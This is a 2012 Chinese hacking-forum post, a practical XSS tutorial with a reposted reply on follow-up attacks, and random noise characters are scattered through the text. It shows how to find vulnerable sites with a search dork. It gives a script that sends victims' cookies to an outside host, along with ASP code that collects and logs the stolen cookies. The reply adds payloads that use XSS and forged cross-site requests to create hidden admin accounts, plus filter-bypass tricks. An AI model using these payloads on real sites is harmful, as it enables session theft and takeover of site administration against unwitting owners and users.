中国网络渗透测试联盟

标题: 实战xss漏洞利用 [打印本页]

作者: admin    时间: 2012-9-13 17:08
标题: 实战xss漏洞利用
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: ( m4 J: A7 t- |. u! R# B3 ~

8 y% P0 y% |6 u+ T3 ehttp://tieba.baidu.com/f?kz=1069007239
1 y$ b0 c1 o* P& O2 Z
& ?) S2 v' n1 z- b这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。& Q$ I1 J. ^" B4 n
) C8 i. ?/ B# R- Q$ J  f
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
# d2 ~! c; }. L+ U
! x. W% [. \+ l; P5 H! o9 [6 R/ [我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
7 f% _) l& V/ T1 c" ]5 A
  V; N! s6 v0 w2 D' H7 [3 {3 N这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
0 u6 b  M+ M4 }( K
$ S% d8 |: @# M+ I  `6 d- x好了,废话不多说了,一起来看文章吧。
5 i" `9 K( r/ I% `7 ]4 M3 }; S1 {/ R  H5 Q/ |( s/ t
-------------------------------------------------------------------" M1 g  E+ O, V% r: C0 r% S
1 N7 k! }; X& ]1 N5 ^! z- D& Z) m
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。7 S  T& @$ @* k* o

. R( W2 f* H- q# d7 n
* @; p! E: R, C( R+ K8 f& H
3 c9 Z# G5 A" B0 k8 \, K( \* d再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
/ K+ n# J" n3 _- D
, O$ @* g" u$ y5 k( }6 h, t 1 r! k* R6 \5 q3 Q

( S3 y" b, {) j! ~+ z' \- t$ R这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是9 \. N( `) F  w4 P, S3 ^8 @
1:让目标访问已跨站的网址,然后这个网址执行脚本
1 \  O6 H# G5 d2:然后跳转到你已经写好专门用来收集Cookie的网址4 }6 c- N: S3 ?

3 Y% j  x1 L$ V. O7 B具体实现方法:& b# y: [( z% v! Z7 ^
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
& p5 W2 d8 b  K: T; R这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。* i" a& Z) U4 w. u8 e

: a/ l, k- ?. T# H. ^1 W, @. O4 x# A+ B这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
: }8 V  G/ l* ]% d
3 |" J7 N9 H- _<html>
; e  \3 B3 Z6 [7 {) u) \* V<title>xx</title>9 B, l# v% K2 \+ M) P
<body>; L; ?) N1 y- ^* m
<%
! g0 s9 N- {! o7 b+ Ctestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中) A2 K  y: r! A$ p: x; T6 {
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值( U1 l% }, }4 c: v/ D% H' l) f
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象# L; I5 @% B7 S% a! @1 f, v
set thisfile = fs.OpenTextFile(testfile,8,True,0)
9 R. p- M4 G  ^- [5 }thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie5 i' Z; z4 G1 s, k$ `3 N
thisfile.close   //关闭
+ N: o0 R3 c. b* T8 V! {set fs = nothing6 o( K- K' Y9 M
%>. Z5 z5 h/ U( h$ d8 G+ B4 G
</body>3 Q3 n* q# r5 z* y3 `
</html>1 ~, }% e1 }! C4 G- C$ K
6 n7 g2 \2 t" b( @# p
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
( z1 G1 E' L4 o
6 A. V8 o, {7 @4 N! x9 ^3 i
  N7 O5 l. [7 S" ~ + @  |5 k( x* p1 x; B1 {
7 y1 s6 c% R: p# I7 T
拿出来看看,呵呵,Cookie到手:% j: ^' F! O* d7 j5 o

8 I+ ?2 S% Z) \4 ~7 @6 p2 H
& T% w! ]3 l7 ]  `: }5 ^1 m* L
$ Z2 G& Z/ R1 ?! p9 K/ x% Q* s本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~8 K& X% F. `: w9 g
' A" S8 o4 g( _  i, l1 n
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。" v) j% J6 H1 h& C

( w; E- C: k7 n9 z! ?+ r# ^  B9 o7 H-------------------------------------------------------------------$ t" N7 a) A& v# e) C2 I9 O. K

* C: P4 C5 A$ o下面是我对这个帖子的回复,也一起贴过来吧:
# P6 U6 R0 M) X  K( A8 D& e! Q9 Z9 m/ |8 n( R" Z3 w
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
+ |( j! H  C1 O3 L9 x6 c
* f( a! C9 @" N: M: K: Q+ @但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
) V; V  q/ g1 u  O7 ^7 b# W再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
: D& @( T& ~2 R9 f) U+ r0 Q- r, G- _. a/ i- u! s! N! k$ k* R
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
/ U6 V  e7 z, ^+ P# L0 \* `8 y  x( G. e  t' m6 s* D
http://user.qzone.qq.com/673116767/blog/1252452536) z# E% [* ]3 R3 w. C

& ?/ t+ L  H& G5 M' H5 L一般发现一个xss漏洞后要做的基本上就是这些:- E8 u0 M$ ?8 g- A9 f6 r
; r7 n( W+ v' q
1.  伪造请求  使用$_REQUEST或$_GET
$ G; S+ y& ]/ k0 u4 c0 @+ ^. m( m0 S9 I9 r4 @' w
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:8 U6 O. E* g, M' G
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
+ k3 e  K* z3 d7 W- Z/ t$ X1 N当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
3 k" ^. C7 f" ]8 q$ Y6 U! J/ ]& e0 b- }/ d5 P6 F5 W' N
如果是可视文本编辑器,可以尝试使用输入:
# Y# S' ?2 X$ nhttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')% T, y! S8 x, A9 m! O! t' M
这样最终会构造出:
; o) R1 R3 ?9 X9 j. p- ^; C" A7 A; b$ E<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
1 j2 c" s: Q5 i- O5 a" ~总之要举一反三。
' W  Q% a+ z$ w- I( s9 u; T  H! `% N2 N/ X; [2 a4 D8 G
2. 伪造请求  使用$_POST
) c  b) H0 Q* V4 s( a4 U5 k& I. V! M3 g' {7 e
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:0 E  m, v7 g2 S2 E
<sc/*xss*/ript type="text/javascript">
2 Y# G. H' O/ Y2 n) Gvar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");6 M& p& p) |  }
aj.open("POST", "/admin/admin_add.asp", false);
9 |3 c; a* N; I7 Kvar postdata = 'name=xxx&psd=yyy';3 O6 O9 Z8 I0 M3 k- C$ `
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
, P" c$ E" w% i) @2 o7 [0 M$ p6 p' O8 ?aj.send(postdata);
  r" ^: r% W- ~& D2 J2 l. }+ O4 t</scr/*xss*/ipt>9 p# y" [# z+ w
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
7 Y/ ^* L; z6 I7 N, _& I4 {0 `/ Z( D7 p+ C$ N
3. 跨站伪造请求 使用$_GET 或 $_REQUEST  O' |/ A- a; p% B$ i" C* k3 c
" U) Y. W5 t' \/ S$ S+ p! L% \
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
+ \4 Z3 W4 K7 Y" N<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>3 S" y4 q) T: B+ D7 _
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。/ s; R5 W9 B# I4 i9 v8 F& }# n
( q( K+ i6 y3 J% z2 N2 s2 y. w8 ~
4.跨站伪造请求 使用$_POST(0day)
! _/ b2 e+ Q$ W5 }6 Z6 I# M# f, M* G5 R! z( X7 i7 _7 [. |
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
- J% }* L( X$ D5 W5 l
$ |( Q- k& A& v: c% P# d8 [, W但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。4 E4 Y* |1 H& z+ W5 Z1 J

- y7 |; w* g" R' e) ?总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
9 {) k: X. y) }1 g) n! G& r1 u1 Z6 L
  B! M: v5 f& P7 l$ XOK,该说的都说完了,Over。* r  \4 c* Z# [, p





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2